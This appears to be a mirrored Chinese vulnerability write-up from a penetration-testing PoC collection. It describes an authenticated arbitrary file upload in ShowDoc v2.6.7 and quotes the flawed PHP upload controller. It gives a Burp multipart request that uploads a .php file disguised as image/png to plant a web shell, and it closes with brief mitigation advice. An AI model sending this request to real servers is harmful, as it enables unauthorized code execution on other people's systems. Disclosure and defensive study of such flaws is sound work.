mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-08-13 03:17:26 +00:00
98 lines
3.2 KiB
Markdown
98 lines
3.2 KiB
Markdown
|
## showdoc的api_page存在任意文件上传【需要登录】
|
|||
|
|
|
|||
|
|
### 背景
|
|||
|
|
|
|||
|
|
ShowDoc is a tool greatly applicable for an IT team to share documents online一个非常适合IT团队的在线API文档、技术文档工具
|
|||
|
|
|
|||
|
|
官网 ：https://www.showdoc.cc/
|
|||
|
|
|
|||
|
|
GitHub主页：https://github.com/star7th/showdoc
|
|||
|
|
|
|||
|
|
当前测试版本：[v2.6.7](https://github.com/star7th/showdoc/releases/tag/v2.6.7)
|
|||
|
|
|
|||
|
|
### 漏洞点
|
|||
|
|
|
|||
|
|
https://github.com/star7th/showdoc/blob/master/server/Application/Api/Controller/PageController.class.php#L258
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
//上传附件
|
|||
|
|
public function upload(){
|
|||
|
|
$login_user = $this->checkLogin();
|
|||
|
|
$item_id = I("item_id/d") ? I("item_id/d") : 0 ;
|
|||
|
|
$page_id = I("page_id/d") ? I("page_id/d") : 0 ;
|
|||
|
|
$uploadFile = $_FILES['file'] ;
|
|||
|
|
|
|||
|
|
if (!$page_id) {
|
|||
|
|
$this->sendError(10103,"请至少先保存一次页面内容");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
if (!$this->checkItemPermn($login_user['uid'] , $item_id)) {
|
|||
|
|
$this->sendError(10103);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (!$uploadFile) {
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (strstr(strip_tags(strtolower($_FILES['editormd-image-file']['name'])), ".php") ) {
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
$upload = new \Think\Upload();// 实例化上传类
|
|||
|
|
$upload->maxSize = 4145728000 ;// 设置附件上传大小
|
|||
|
|
$upload->rootPath = './../Public/Uploads/';// 设置附件上传目录
|
|||
|
|
$upload->savePath = '';// 设置附件上传子目录
|
|||
|
|
$info = $upload->uploadOne($uploadFile) ;
|
|||
|
|
if(!$info) {// 上传错误提示错误信息
|
|||
|
|
$this->error($upload->getError());
|
|||
|
|
return;
|
|||
|
|
}else{// 上传成功 获取上传文件信息
|
|||
|
|
$url = get_domain().__ROOT__.substr($upload->rootPath,1).$info['savepath'].$info['savename'] ;
|
|||
|
|
$insert = array(
|
|||
|
|
"uid" => $login_user['uid'],
|
|||
|
|
"item_id" => $item_id,
|
|||
|
|
"page_id" => $page_id,
|
|||
|
|
"display_name" => $uploadFile['name'],
|
|||
|
|
"file_type" => $uploadFile['type'],
|
|||
|
|
"file_size" => $uploadFile['size'],
|
|||
|
|
"real_url" => $url,
|
|||
|
|
"addtime" => time(),
|
|||
|
|
);
|
|||
|
|
$ret = D("UploadFile")->add($insert);
|
|||
|
|
|
|||
|
|
echo json_encode(array("url"=>$url,"success"=>1));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
相比 https://github.com/star7th/showdoc/blob/master/server/Application/Api/Controller/PageController.class.php#L212 的uploadImg() 有过滤,附件上传upload()没有任何过滤.可以直接上传shell。
|
|||
|
|
|
|||
|
|
burp的post数据大致如下：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /show/server/index.php?s=/api/page/upload HTTP/1.1
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
|||
|
|
Content-Disposition: form-data; name="page_id"
|
|||
|
|
|
|||
|
|
22
|
|||
|
|
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
|||
|
|
Content-Disposition: form-data; name="item_id"
|
|||
|
|
|
|||
|
|
3
|
|||
|
|
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
|||
|
|
Content-Disposition: form-data; name="file"; filename="cs.php"
|
|||
|
|
Content-Type: image/png
|
|||
|
|
|
|||
|
|
PNG
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryzOQywSoNbAALAwKn--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 防御
|
|||
|
|
|
|||
|
|
增加过滤，同时运维人员设置上传目录禁止执行，只允许写入读取，做好权限分配。
|
|||
|
|
|
|||
|
|
来源于土司：https://www.t00ls.net/thread-56340-1-1.html 由[Mrxn](https://github.com/Mr-xn) 整理 ，欢迎大家前往土司投稿注册发言。
|